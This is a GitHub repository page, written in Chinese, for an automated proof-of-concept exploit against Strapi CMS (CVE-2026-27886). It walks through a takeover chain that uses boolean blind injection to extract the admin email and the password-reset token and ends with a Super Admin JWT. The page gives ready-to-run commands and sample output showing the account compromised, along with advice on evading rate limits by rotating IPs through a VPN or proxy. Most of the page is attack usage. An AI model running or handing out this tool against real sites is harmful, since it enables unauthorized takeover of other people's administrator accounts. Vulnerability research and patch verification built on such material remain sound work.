thesw0rd/CVE-2026-27886-PoC-Account-Takeover

GitHub: thesw0rd/CVE-2026-27886-PoC-Account-Takeover

针对 Strapi CMS CVE-2026-27886 漏洞的自动化账户接管 PoC 工具,通过布尔盲注和密码重置流程实现完整的超级管理员账户接管。

Stars: 1 | Forks: 0

# CVE-2026-27886 自动化漏洞利用 - 使用指南 ## 此脚本的功能 通过 4 个 HTTP 请求组自动化完整的账户接管链: 1. **漏洞验证** - 确认目标是否存在漏洞 2. **邮箱枚举** - 通过布尔盲注提取管理员邮箱(约 500 个请求) 3. **触发密码重置** - 启动 Strapi 的密码恢复流程 4. **Token 窃取** - 窃取 40 字符的重置 token(约 320 个请求) 5. **账户接管** - 使用窃取的 token 获取 Super Admin JWT ## 基本用法 ### 仅验证模式(安全) 仅检查目标是否存在漏洞,不进行漏洞利用: ``` ./cve-2026-27886-exploit.py https://target/api/articles --verify-only ``` ### 完整漏洞利用(最快) 如果您不知道管理员邮箱,可自动化执行所有步骤: ``` ./cve-2026-27886-exploit.py https://target/api/articles ``` **输出:** ``` [+] Target: https://target/api/articles [+] Base URL: https://target [*] Verifying vulnerability... [+] Vulnerable: baseline=12, where_test=0 [*] Enumerating admin email... admin@example.com [*] Triggering password reset for admin@example.com... [+] Password reset triggered (HTTP 204) [*] Extracting 40-char reset token... [100%] d1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a [*] Resetting password with stolen token... [+] Password reset successful! [+] JWT: eyJhbGciOiJIUzI1NiIs... [+] User: admin@example.com (ID: 1) [+] SUCCESS! Admin account compromised. [+] JWT Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... ``` ### 跳过邮箱枚举(更快) 如果您已经知道管理员邮箱(可节省约 500 个请求): ``` ./cve-2026-27886-exploit.py https://target/api/articles \ --email admin@example.com ``` ### 自定义密码 设置自定义密码而不是使用默认密码: ``` ./cve-2026-27886-exploit.py https://target/api/articles \ --email admin@example.com \ --password "MyPassword123!" ``` ### 添加延迟(避免速率限制) 如果目标启用了速率限制: ``` ./cve-2026-27886-exploit.py https://target/api/articles \ --delay 0.1 ``` 这会在每个请求之间添加 100ms 的延迟(完整漏洞利用大约需要 2-3 分钟)。 ### 显式指定 Base URL 如果 `/admin/*` endpoint 位于不同的主机上: ``` ./cve-2026-27886-exploit.py https://api.target/articles \ --base-url https://admin.target ``` ## 常见问题 ### 非 JSON 响应 - Endpoint 错误(不是 Strapi Content API 集合) - 尝试:`https://target/api/products`、`https://target/api/articles` 等 ### 枚举 email 失败 - 集合为空(没有 `updated_by_id` 外键) - Admin 角色与数据库中的任何用户都不匹配 - 如果存在多个 endpoint,请尝试使用不同的 endpoint ### 提取 reset token 失败 - 未触发密码重置 - 管理员邮箱与猜测的不同 - Token 已过期(请重试,默认有效期约为 24 小时) ### 遭遇速率限制 - 添加 `--delay 0.05` 或更高的值 - 或者使用 VPN/proxy 轮换 IP 地址 ## 安全说明 此脚本: - ✅ 仅发送 GET/POST 请求(不修改数据) - ✅ 仅针对存在漏洞的 Strapi 查询参数绕过问题 - ✅ 使用 Strapi 的合法密码重置 endpoint - ✅ 不在目标上留下任何已存储的痕迹 - ⚠️ **动静很大** - 连续发送 800+ 个请求(在日志中非常明显)
标签:Maven, Python, Strapi CMS, StruQ, 无后门, 漏洞验证, 账号接管, 逆向工具